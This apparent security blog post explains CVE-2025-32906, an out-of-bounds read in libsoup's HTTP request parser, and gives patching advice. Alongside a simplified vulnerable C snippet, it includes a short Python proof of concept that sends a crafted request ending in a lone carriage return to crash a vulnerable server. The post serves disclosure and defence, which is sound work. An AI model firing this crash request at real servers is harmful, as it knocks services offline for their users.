CVE-2025-32906 - Breaking Down the libsoup Out-of-Bounds Read Vulnerability

In early 2025, a significant security flaw was discovered in libsoup, a popular HTTP library used widely in Linux applications and web servers. The bug, registered as CVE-2025-32906, affects the soup_headers_parse_request() function and could allow attackers to crash servers by sending a special HTTP request. In this post, we'll explain what the problem is, show what the code looks like, dig into how an attacker could exploit it, and give you resources to stay protected.

What is libsoup?

libsoup is a GNOME HTTP client/server library written in C. It helps applications communicate over HTTP, making it a go-to for many desktop and server-side apps needing web communication.

What is the Problem (CVE-2025-32906)?

A flaw was found in how libsoup handles incoming HTTP requests. To be specific, the issue is within the soup_headers_parse_request() function, which doesn’t properly check the length of certain HTTP headers. If a malicious request is crafted, the function may read data past the end of the actual request—an out-of-bounds read. That might sound small, but this kind of bug can crash the whole server or leak information.

Vulnerable Code Example

Developers following the libsoup 2.x source code can see the problem around the function soup_headers_parse_request() (simplified for clarity):

// Typical code in soup_headers_parse_request()
ssize_t soup_headers_parse_request(const char *req, size_t req_len, ...)
{
    ...
    while (i < req_len) {
        if (req[i] == '\r' && req[i+1] == '\n') { // <-- Danger!
            // process header
            i += 2;
        } else {
            i++;
        }
    }
    ...
}

What's wrong?

Check out the line if (req[i] == '\r' && req[i+1] == '\n'): if i is at the last byte of the request, req[i+1] reads past the end of the req buffer, causing an out-of-bounds memory read. That could crash the server or worse.

Malicious HTTP Request Example

An attacker would send a crafted HTTP request that ends with only a single \r at the buffer’s end, tricking the server into reading the next memory byte. Here’s a minimal exploit in Python:

import socket

host = "target-server"
port = 808 # Change to your target port

# The crafted request ends with just '\r'
malicious_req = b"GET / HTTP/1.1\r\nHost: localhost\r\n\r"

s = socket.socket()
s.connect((host, port))
s.sendall(malicious_req)
data = s.recv(1024)
print(data)
s.close()

On a vulnerable server, this may cause segmentation faults or crashes right when you send it.

Real-World Impact

- Denial-of-Service: Your web server or desktop app using libsoup could crash from a single bad request.
- Potential Memory Disclosure: Although unlikely in this specific bug, out-of-bounds reads can sometimes leak data.

All versions of libsoup 2.x and early 3.x up to the patched release.

- Applications and services using vulnerable libsoup for HTTP parsing (e.g., GNOME Web (Epiphany), Evolution email client, and third-party servers).

How To Protect Yourself

- Update libsoup: Patch released in libsoup commit and in latest package versions.
- Monitor vendor advisories: Watch Red Hat Security, Debian, and Ubuntu notices.
- Restart affected services: After updating, be sure to restart any servers or apps relying on libsoup.

References

- CVE details for CVE-2025-32906
- libsoup GitLab issues
- Security advisory example (Red Hat)
- How HTTP message parsing works (Mozilla)

Conclusion

CVE-2025-32906 is a classic example of how subtle coding mistakes in network-facing libraries can cause severe security headaches. If your system uses libsoup, patch right away! Stay tuned to your distro’s mailing lists and always keep your libraries up to date. For geeks and pros alike: reviewing how HTTP parsing is done can save you a world of hurt later.

Timeline

Published on: 04/14/2025 14:15:24 UTC
Last modified on: 05/06/2025 20:15:26 UTC